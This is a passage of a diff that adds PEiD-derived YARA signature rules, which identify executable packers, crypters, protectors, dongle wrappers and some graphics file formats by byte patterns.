+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 A0 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6}
+    condition:
+        $a
+}
+
+rule PEiD_00859_Gleam_1_00_
+{
+    meta:
+        description = "[Gleam 1.00]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 E8 24 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_00860_Go32Stub_v_2_00_DOS_Extender_
+{
+    meta:
+        description = "[Go32Stub v.2.00 DOS-Extender]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 80}
+    condition:
+        $a
+}
+
+rule PEiD_00861_Go32Stub_v_2_00T_DOS_Extender_
+{
+    meta:
+        description = "[Go32Stub v.2.00T DOS-Extender]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 3C}
+    condition:
+        $a
+}
+
+rule PEiD_00862_Goat_s_PE_Mutilator_1_6_
+{
+    meta:
+        description = "[Goat's PE Mutilator 1.6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00863_Goat_s_PE_Mutilator_1_6_
+{
+    meta:
+        description = "[Goat's PE Mutilator 1.6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0F 53 0F DE 0F 55 0F 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00864_Goats_Mutilator_v1_6____Goat__e0f_
+{
+    meta:
+        description = "[Goats Mutilator v1.6 -> Goat/_e0f]"
+        ep_only = "true"
+    strings:
+        $a = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D}
+    condition:
+        $a
+}
+
+rule PEiD_00865_GP_Install_v5_0_3_32_
+{
+    meta:
+        description = "[GP-Install v5.0.3.32]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 B8 C4 1C 41 00 E8 6B 3E FF FF 33 C0 55 68 76 20 41 00 64 FF 30 64 89 20 BA A0 47 41 00 33 C0 E8 31 0A FF FF 33 D2 A1 A0}
+    condition:
+        $a
+}
+
+rule PEiD_00866_Guardant_Stealth_aka_Novex_Dongle_
+{
+    meta:
+        description = "[Guardant Stealth aka Novex Dongle]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 60 E8 51 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00867_HACKSTOP_v1_00_
+{
+    meta:
+        description = "[HACKSTOP v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {FA BD ?? ?? FF E5 6A 49 48 0C ?? E4 ?? 3F 98 3F}
+    condition:
+        $a
+}
+
+rule PEiD_00868_HACKSTOP_v1_10__v1_11_
+{
+    meta:
+        description = "[HACKSTOP v1.10, v1.11]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 2F CD 21 B0 ?? B4 4C CD 21 50 B8 ?? ?? 58 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00869_HACKSTOP_v1_10p1_
+{
+    meta:
+        description = "[HACKSTOP v1.10p1]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 86 E0 3D 00 03 73 ?? B4 2F CD 21 B4 2A CD 21 B4 2C CD 21 B0 FF B4 4C CD 21 50 B8 ?? ?? 58 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00870_HACKSTOP_v1_11c_
+{
+    meta:
+        description = "[HACKSTOP v1.11c]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 ?? CD 21 B0 ?? B4 4C CD 21 53 BB ?? ?? 5B EB}
+    condition:
+        $a
+}
+rule PEiD_00871_HACKSTOP_v1_13_
+{
+    meta:
+        description = "[HACKSTOP v1.13]"
+        ep_only = "true"
+    strings:
+        $a = {52 B8 ?? ?? 1E CD 21 86 E0 3D ?? ?? 73 ?? CD 20 0E 1F B4 09 E8 ?? ?? 24 ?? EA}
+    condition:
+        $a
+}
+
+rule PEiD_00872_HACKSTOP_v1_18_
+{
+    meta:
+        description = "[HACKSTOP v1.18]"
+        ep_only = "true"
+    strings:
+        $a = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? FD 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+    condition:
+        $a
+}
+
+rule PEiD_00873_HACKSTOP_v1_19_
+{
+    meta:
+        description = "[HACKSTOP v1.19]"
+        ep_only = "true"
+    strings:
+        $a = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? D6 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+    condition:
+        $a
+}
+
+rule PEiD_00874_Hardlock_dongle__Alladin__
+{
+    meta:
+        description = "[Hardlock dongle (Alladin)]"
+        ep_only = "true"
+    strings:
+        $a = {5C 5C 2E 5C 48 41 52 44 4C 4F 43 4B 2E 56 58 44 00 00 00 00 5C 5C 2E 5C 46 45 6E 74 65 44 65 76}
+    condition:
+        $a
+}
+rule PEiD_00875_Hasp_4_envelope_dongle__Alladin__
+{
+    meta:
+        description = "[Hasp 4 envelope dongle (Alladin)]"
+        ep_only = "true"
+    strings:
+        $a = {10 02 D0 51 0F 00 83}
+    condition:
+        $a
+}
+
+rule PEiD_00876_Hasp_dongle__Alladin__
+{
+    meta:
+        description = "[Hasp dongle (Alladin)]"
+        ep_only = "true"
+    strings:
+        $a = {50 53 51 52 57 56 8B 75 1C 8B 3E ?? ?? ?? ?? ?? 8B 5D 08 8A FB ?? ?? 03 5D 10 8B 45 0C 8B 4D 14 8B 55 18 80 FF 32}
+    condition:
+        $a
+}
+
+rule PEiD_00877_HASP_HL_Protection_1_X____Aladdin_
+{
+    meta:
+        description = "[HASP HL Protection 1.X -> Aladdin]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15}
+    condition:
+        $a
+}
+rule PEiD_00878_HASP_HL_Protection_V1_X____Aladdin___Sign_by_fly_
+{
+    meta:
+        description = "[HASP HL Protection V1.X -> Aladdin ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B 15}
+    condition:
+        $a
+}
+
+rule PEiD_00879_HEALTH_v_5_1_by_Muslim_M_Polyak_
+{
+    meta:
+        description = "[HEALTH v.5.1 by Muslim M.Polyak]"
+        ep_only = "true"
+    strings:
+        $a = {1E E8 ?? ?? 2E 8C 06 ?? ?? 2E 89 3E ?? ?? 8B D7 B8 ?? ?? CD 21 8B D8 0E 1F E8 ?? ?? 06 57 A1 ?? ?? 26}
+    condition:
+        $a
+}
+rule PEiD_00880_Hide_PE_1_01____BGCorp_
+{
+    meta:
+        description = "[Hide PE 1.01 -> BGCorp]"
+        ep_only = "true"
+    strings:
+        $a = {?? BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 F8 FF E2 0D 0A 2D 3D 5B 20 48 69 64 65 50 45 20 62 79 20 42 47 43 6F 72 70 20 5D 3D 2D}
+    condition:
+        $a
+}
+
+rule PEiD_00881_Hide_Protect_1_016____SoftWar_Company_
+{
+    meta:
+        description = "[Hide&Protect 1.016 -> SoftWar Company]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 E9 D8 ?? 05 00 95 ?? 53 00 95 4A 50 00}
+    condition:
+        $a
+}
+
+rule PEiD_00882_Hide_Protect_V1_0X___SoftWar_Company_
+{
+    meta:
+        description = "[Hide&Protect V1.0X-> SoftWar Company]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 E9 D8}
+    condition:
+        $a
+}
+rule PEiD_00883_Histogram_graphics_file_
+{
+    meta:
+        description = "[Histogram graphics file]"
+        ep_only = "false"
+    strings:
+        $a = {6D 68 77 61 6E 68 00 04 01 02 01 02}
+    condition:
+        $a
+}
+
+rule PEiD_00884_Hitachi_Raster_Format_graphics_format_
+{
+    meta:
+        description = "[Hitachi Raster Format graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {43 41 44 43 2F 4B 52 20 52 53 54}
+    condition:
+        $a
+}
+
+rule PEiD_00885_hmimys_protect_0_1____hmimys_
+{
+    meta:
+        description = "[hmimys protect 0.1 -> hmimys]"
+        ep_only = "false"
+    strings:
+        $a = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00886_hmimys_Protect_v1_0_
+{
+    meta:
+        description = "[hmimys Protect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00887_hmimys_Protect_v1_0_
+{
+    meta:
+        description = "[hmimys Protect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00888_hmimys_Protect_v1_0_
+{
+    meta:
+        description = "[hmimys Protect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9}
+    condition:
+        $a
+}
+
+rule PEiD_00889_hmimys_s_PE_Pack_0_1____hmimys_
+{
+    meta:
+        description = "[hmimys's PE-Pack 0.1 -> hmimys]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 83 ED 05 6A 00 FF 95 E1 0E 00 00 89 85 85 0E 00 00 8B 58 3C 03 D8 81 C3 F8 00 00 00 80 AD 89 0E 00 00 01 89 9D 63 0F 00 00 8B 4B 0C 03 8D 85 0E 00 00 8B 53 08 80 BD 89 0E 00 00 00 75 0C 03 8D 91 0E 00 00 2B 95 91 0E 00 00 89 8D 57 0F 00}
+    condition:
+        $a
+}
+
+rule PEiD_00890_hmimys_s_PE_Pack_0_1____hmimys_
+{
+    meta:
+        description = "[hmimys's PE-Pack 0.1 -> hmimys]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 83 ED 05 6A 00 FF 95 E1 0E 00 00 89 85 85 0E 00 00 8B 58 3C 03 D8 81 C3 F8 00 00 00 80 AD 89 0E 00 00 01 89 9D 63 0F 00 00 8B 4B 0C 03 8D 85 0E 00 00 8B 53 08 80 BD 89 0E 00 00 00 75 0C 03 8D 91 0E 00 00 2B 95 91 0E 00 00 89 8D 57 0F 00 00 89 95 5B 0F 00 00 8B 5B 10 89 9D 5F 0F 00 00 8B 9D 5F 0F 00 00 8B 85 57 0F 00 00 53 50 E8 B7 0B 00 00 89 85 73 0F 00 00 6A 04 68 00 10 00 00 50 6A 00 FF 95 E9 0E 00 00 89 85 6B 0F 00 00 6A 04 68 00 10 00 00 68 D8 7C 00 00 6A 00 FF 95 E9 0E 00 00 89 85 6F 0F 00 00 8D 85 67 0F 00 00 8B 9D 73 0F 00 00 8B 8D 6B 0F 00 00 8B 95 5B 0F 00 00 83 EA 0E 8B B5 57 0F 00 00 83 C6 0E 8B BD 6F 0F 00 00 50 53 51 52 56 68 D8 7C 00 00 57 E8 01 01 00 00 8B 9D 57 0F 00 00 8B 03 3C 01 75}
+    condition:
+        $a
+}
+rule PEiD_00891_hmimys_Packer_1_0____hmimys_
+{
+    meta:
+        description = "[hmimys-Packer 1.0 -> hmimys]"
+        ep_only = "false"
+    strings:
+        $a = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00}
+    condition:
+        $a
+}
+rule PEiD_00892_hmimys_Packer_1_0____hmimys_
+{
+    meta:
+        description = "[hmimys-Packer 1.0 -> hmimys]"
+        ep_only = "false"
+    strings:
+        $a = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07}
+    condition:
+        $a
+}
+rule PEiD_00893_hmimys_Packer_1_0_
+{
+    meta:
+        description = "[hmimys-Packer 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 03 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00894_HPA_
+{
+    meta:
+        description = "[HPA]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 8B D6 83 ?? ?? 83 ?? ?? 06 0E 1E 0E 1F 33 FF 8C D3}
+    condition:
+        $a
+}
+/*
+rule PEiD_00895_HQR_data_file_
+{
+    meta:
+        description = "[HQR data file]"
+        ep_only = "false"
+    strings:
+        $a = {48 00 00 00 ?? 02 00 00 ?? ?? 00 00 ?? ?? 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_00896_hying_s_PE_Armor____hying_CCG_
+{
+    meta:
+        description = "[hying's PE-Armor -> hying[CCG]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AA 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D}
+    condition:
+        $a
+}
+rule PEiD_00897_Hying_s_PE_Armor_0_75_exe____Hying__CCG_
+{
+    meta:
+        description = "[Hying's PE-Armor 0.75.exe -> Hying [CCG]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00 00 00 00 84 ?? ?? ?? 74 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00 5D 81 ED D7 00 00 00 8D B5 EE 00 00 00 55 56 81 C5 ?? ?? 00 00 55 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00898_Hying_s_PE_Armor_0_75_exe____Hying__CCG__
+{
+    meta:
+        description = "[Hying's PE-Armor 0.75.exe -> Hying [CCG]]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00899_Hying_s_PE_Armor_0_75_exe____Hying_
+{
+    meta:
+        description = "[Hying's PE-Armor 0.75.exe -> Hying]"
+        ep_only = "false"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+    condition:
+        $a
+}
+
+rule PEiD_00900_Hying_s_PE_Armor_0_76____Hying__CCG_
+{
+    meta:
+        description = "[Hying's PE-Armor 0.76 -> Hying [CCG]"
+        ep_only = "false"
+    strings:
+        $a = {01 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 56 69 72 74 75 61 6C 46 72 65 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 61 ?? ?? ?? 59 ?? ?? ?? ?? 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 8D ?? ?? ?? ?? 00 00 00 00 00 00 00 9D ?? ?? ?? 8D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00 5D 81 ED F0 00 00 00 8D B5 07 01 00 00 55 56 81 C5 ?? ?? ?? ?? 55 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00901_hying_s_PEArmor_V0_76____hying_
+{
+    meta:
+        description = "[hying's PEArmor V0.76 -> hying]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A ?? E8 A3 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00902_IBM_PictureMaker_graphics_file_
+{
+    meta:
+        description = "[IBM PictureMaker graphics file]"
+        ep_only = "false"
+    strings:
+        $a = {00 ?? C1 ?? 00 ?? ?? ?? ?? 02 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_00903_ICrypt_1_0___by_BuGGz_
+{
+    meta:
+        description = "[ICrypt 1.0 - by BuGGz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 70 3B 00 10 E8 3C FA FF FF 33 C0 55 68 6C 3C 00 10 64 FF 30 64 89 20 6A 0A 68 7C 3C 00 10 A1 50 56 00 10 50 E8 D8 FA FF FF 8B D8 53 A1 50 56 00 10 50 E8 0A FB FF FF 8B F8 53 A1 50 56 00 10 50 E8 D4 FA FF FF 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00904_ICrypt_1_0___by_BuGGz_
+{
+    meta:
+        description = "[ICrypt 1.0 - by BuGGz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 70 3B 00 10 E8 3C FA FF FF 33 C0 55 68 6C 3C 00 10 64 FF 30 64 89 20 6A 0A 68 7C 3C 00 10 A1 50 56 00 10 50 E8 D8 FA FF FF 8B D8 53 A1 50 56 00 10 50 E8 0A FB FF FF 8B F8 53 A1 50 56 00 10 50 E8 D4 FA FF FF 8B D8 53 E8 D4 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 64 56 00 10 E8 25 F6 FF FF B8 64 56 00 10 E8 13 F6 FF FF 8B CF 8B D6 E8 E6 FA FF FF 53 E8 90 FA FF FF 8D 4D EC BA 8C 3C 00 10 A1 64 56 00 10 E8 16 FB FF FF 8B 55 EC B8 64 56 00 10 E8 C5 F4 FF FF B8 64 56 00 10 E8 DB F5 FF FF E8 56 FC FF FF 33 C0 5A 59 59 64 89 10 68 73 3C 00 10 8D 45 EC E8 4D F4 FF FF C3 E9 E3 EE FF FF EB F0 5F 5E 5B E8 4D F3 FF FF 00 53 45 54 ?? ?? ?? ?? 00 FF FF FF FF 08 00 00 00 76 6F 74 72 65 63 6C 65}
+    condition:
+        $a
+}
+
+rule PEiD_00905_ID_Application_Protector_V1_2____ID_Security_Suite___Sign_by_fly_
+{
+    meta:
+        description = "[ID Application Protector V1.2 -> ID Security Suite ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F2 0B 47 00 B9 19 22 47 00 81 E9 EA 0E 47 00 89 EA 81 C2 EA 0E 47 00 8D 3A 89 FE 31 C0 E9 D3 02 00 00 CC CC CC CC E9 CA 02 00 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 6F 66 74 57 61 72 65 50 72 6F 74 65 63 74 6F 72 5C}
+    condition:
+        $a
+}
+
+rule PEiD_00906_ILUCRYPT_v4_015__exe_
+{
+    meta:
+        description = "[ILUCRYPT v4.015 [exe]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC FA C7 46 F7 ?? ?? 42 81 FA ?? ?? 75 F9 FF 66 F7}
+    condition:
+        $a
+}
+
+rule PEiD_00907_iLUCRYPT_v4_018__exe_
+{
+    meta:
+        description = "[iLUCRYPT v4.018 [exe]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC FA C7 ?? ?? ?? ?? 4C 4C C3 FB BF ?? ?? B8 ?? ?? 2E ?? ?? D1 C8 4F 81}
+    condition:
+        $a
+}
+
+rule PEiD_00908_Img_Software_Set_graphics_file_
+{
+    meta:
+        description = "[Img Software Set graphics file]"
+        ep_only = "false"
+    strings:
+        $a = {53 43 4D 49 20 20 20 31 41 54}
+    condition:
+        $a
+}
+
+rule PEiD_00909_IMP_Packer_1_0____Mahdi_Hezavehi__IMPOSTER_
+{
+    meta:
+        description = "[IMP-Packer 1.0 -> Mahdi Hezavehi [IMPOSTER]"
+        ep_only = "false"
+    strings:
+        $a = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+    condition:
+        $a
+}
+rule PEiD_00910_IMP_Packer_1_0____Mahdi_Hezavehi__IMPOSTER__
+{
+    meta:
+        description = "[IMP-Packer 1.0 -> Mahdi Hezavehi [IMPOSTER]]"
+        ep_only = "false"
+    strings:
+        $a = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+    condition:
+        $a
+}
+
+rule PEiD_00911_IMPostor_Pack_1_0____Mahdi_Hezavehi_
+{
+    meta:
+        description = "[IMPostor Pack 1.0 -> Mahdi Hezavehi]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? 00 83 C6 01 FF E6 00 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? 02 ?? ?? 00 10 00 00 00 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_00912_Inbuild_v1_0__hard_
+{
+    meta:
+        description = "[Inbuild v1.0 [hard]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? BB ?? ?? 2E ?? ?? 2E ?? ?? 43 E2}
+    condition:
+        $a
+}
+
+rule PEiD_00913_INCrypter_0_3__INinY____by_z3e_NiFe_
+{
+    meta:
+        description = "[INCrypter 0.3 (INinY) - by z3e_NiFe]"
+        ep_only = "true"
+    strings:
+        $a = {60 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8D 58 20 C7 03 00 00 00 00 E8 00 00 00 00 5D 81 ED 4D 16 40 00 8B 9D 0E 17 40 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01 75 05 03 DB C1 CB 10 8B 8D 12 17 40 00 8B B5 06 17 40 00 51 81 3E 2E 72 73 72 74 65 8B}
+    condition:
+        $a
+}
+
